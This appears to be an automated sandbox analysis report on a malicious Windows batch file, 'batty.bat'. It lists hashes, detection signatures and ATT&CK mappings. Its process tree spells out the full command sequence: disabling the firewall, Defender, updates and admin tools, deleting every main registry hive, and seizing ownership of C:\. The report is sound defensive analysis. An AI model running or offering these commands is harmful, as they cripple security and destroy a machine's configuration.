Analysis
- max time kernel
15s - platform
windows11-21h2_x64 - resource
win11-20240802-en - resource tags
arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system - submitted
29/09/2024, 07:41
Static task
static1
Behavioral task
behavioral1
Sample
batty.bat
Resource
win11-20240802-en
11 signatures
150 seconds
General
- Target batty.bat
- Size 4KB
- Sample240929-jh96bavdpp
- SHA256 766d22bf250aab9e31d95aeadc35c4bab5e5bbbaf0538c0fb7b7d74fc13cf277
- MD5 9f3acd56e646d8eae4647eeffa0741cd
- SHA1 0e916f49a089823411d0b444454a867bf9fb1f2f
- SHA512 c62649abf78880ba063d7290f0b4665c668c39f3a3e8ac3c92bf541016c6d6dc7e43cd1c6370a9beb0499b695b40786ff7b10429cedafba6f683bc377ccc0a7c
- SSDEEP 48:17l9BNXcf6iQW2FK+8OEW9+HeEdUm/E2n23WwkFEeJE/sPEijE1Ms9Xc/fDKyebm:17jE+8+8HFU22mZXMGEny/N7bDjT
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" reg.exe - Disables Task Manager via registry modification
- Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 3220 netsh.exe - Possible privilege escalation attempt 2 IoCs
pid Process 1932 takeown.exe 2072 icacls.exe - Modifies file permissions 1 TTPs 2 IoCs
pid Process 2072 icacls.exe 1932 takeown.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Runs net.exe
- Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe Token: SeTakeOwnershipPrivilege 1932 takeown.exe - Suspicious use of WriteProcessMemory 44 IoCs
description pid Process procid_target PID 784 wrote to memory of 2144 784 cmd.exe 80 PID 784 wrote to memory of 2144 784 cmd.exe 80 PID 2144 wrote to memory of 2752 2144 cmd.exe 82 PID 2144 wrote to memory of 2752 2144 cmd.exe 82 PID 2752 wrote to memory of 640 2752 net.exe 83 PID 2752 wrote to memory of 640 2752 net.exe 83 PID 2144 wrote to memory of 4856 2144 cmd.exe 84 PID 2144 wrote to memory of 4856 2144 cmd.exe 84 PID 2144 wrote to memory of 3220 2144 cmd.exe 85 PID 2144 wrote to memory of 3220 2144 cmd.exe 85 PID 2144 wrote to memory of 4032 2144 cmd.exe 86 PID 2144 wrote to memory of 4032 2144 cmd.exe 86 PID 2144 wrote to memory of 1216 2144 cmd.exe 87 PID 2144 wrote to memory of 1216 2144 cmd.exe 87 PID 2144 wrote to memory of 4980 2144 cmd.exe 88 PID 2144 wrote to memory of 4980 2144 cmd.exe 88 PID 2144 wrote to memory of 2360 2144 cmd.exe 89 PID 2144 wrote to memory of 2360 2144 cmd.exe 89 PID 2144 wrote to memory of 2460 2144 cmd.exe 90 PID 2144 wrote to memory of 2460 2144 cmd.exe 90 PID 2144 wrote to memory of 4960 2144 cmd.exe 91 PID 2144 wrote to memory of 4960 2144 cmd.exe 91 PID 2144 wrote to memory of 856 2144 cmd.exe 92 PID 2144 wrote to memory of 856 2144 cmd.exe 92 PID 2144 wrote to memory of 3184 2144 cmd.exe 93 PID 2144 wrote to memory of 3184 2144 cmd.exe 93 PID 2144 wrote to memory of 1160 2144 cmd.exe 94 PID 2144 wrote to memory of 1160 2144 cmd.exe 94 PID 2144 wrote to memory of 1280 2144 cmd.exe 95 PID 2144 wrote to memory of 1280 2144 cmd.exe 95 PID 2144 wrote to memory of 428 2144 cmd.exe 96 PID 2144 wrote to memory of 428 2144 cmd.exe 96 PID 2144 wrote to memory of 560 2144 cmd.exe 97 PID 2144 wrote to memory of 560 2144 cmd.exe 97 PID 2144 wrote to memory of 2496 2144 cmd.exe 98 PID 2144 wrote to memory of 2496 2144 cmd.exe 98 PID 2144 wrote to memory of 3884 2144 cmd.exe 99 PID 2144 wrote to memory of 3884 2144 cmd.exe 99 PID 2144 wrote to memory of 2024 2144 cmd.exe 100 PID 2144 wrote to memory of 2024 2144 cmd.exe 100 PID 2144 wrote to memory of 1932 2144 cmd.exe 101 PID 2144 wrote to memory of 1932 2144 cmd.exe 101 PID 2144 wrote to memory of 2072 2144 cmd.exe 102 PID 2144 wrote to memory of 2072 2144 cmd.exe 102
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\batty.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:784 -
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\batty.bat hide2⤵
- Suspicious use of WriteProcessMemory
PID:2144 -
C:\Windows\system32\net.exenet session3⤵
- Suspicious use of WriteProcessMemory
PID:2752 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵PID:640
-
-
-
C:\Windows\system32\mode.commode 120,403⤵PID:4856
-
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:3220
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f3⤵PID:4032
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f3⤵PID:1216
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f3⤵PID:4980
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f3⤵
- Disables RegEdit via registry modification
PID:2360
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 2 /f3⤵PID:2460
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f3⤵PID:4960
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f3⤵PID:856
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoTrayItemsDisplay /t REG_DWORD /d 1 /f3⤵PID:3184
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMorePrograms /t REG_DWORD /d 1 /f3⤵PID:1160
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDesktop /t REG_DWORD /d 1 /f3⤵PID:1280
-
-
C:\Windows\system32\reg.exereg delete HKEY_CLASSES_ROOT /f3⤵PID:428
-
-
C:\Windows\system32\reg.exereg delete HKEY_CURRENT_USER /f3⤵PID:560
-
-
C:\Windows\system32\reg.exereg delete HKEY_LOCAL_MACHINE /f3⤵PID:2496
-
-
C:\Windows\system32\reg.exereg delete HKEY_USERS /f3⤵PID:3884
-
-
C:\Windows\system32\reg.exereg delete HKEY_CURRENT_CONFIG /f3⤵PID:2024
-
-
C:\Windows\system32\takeown.exetakeown /f C:\* /r /d y3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1932
-
-
C:\Windows\system32\icacls.exeicacls C:\* /grant Administrators:F /t3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2072
-
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Privilege Escalation
Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Defense Evasion
File and Directory Permissions Modification
1Impair Defenses
1Disable or Modify System Firewall
1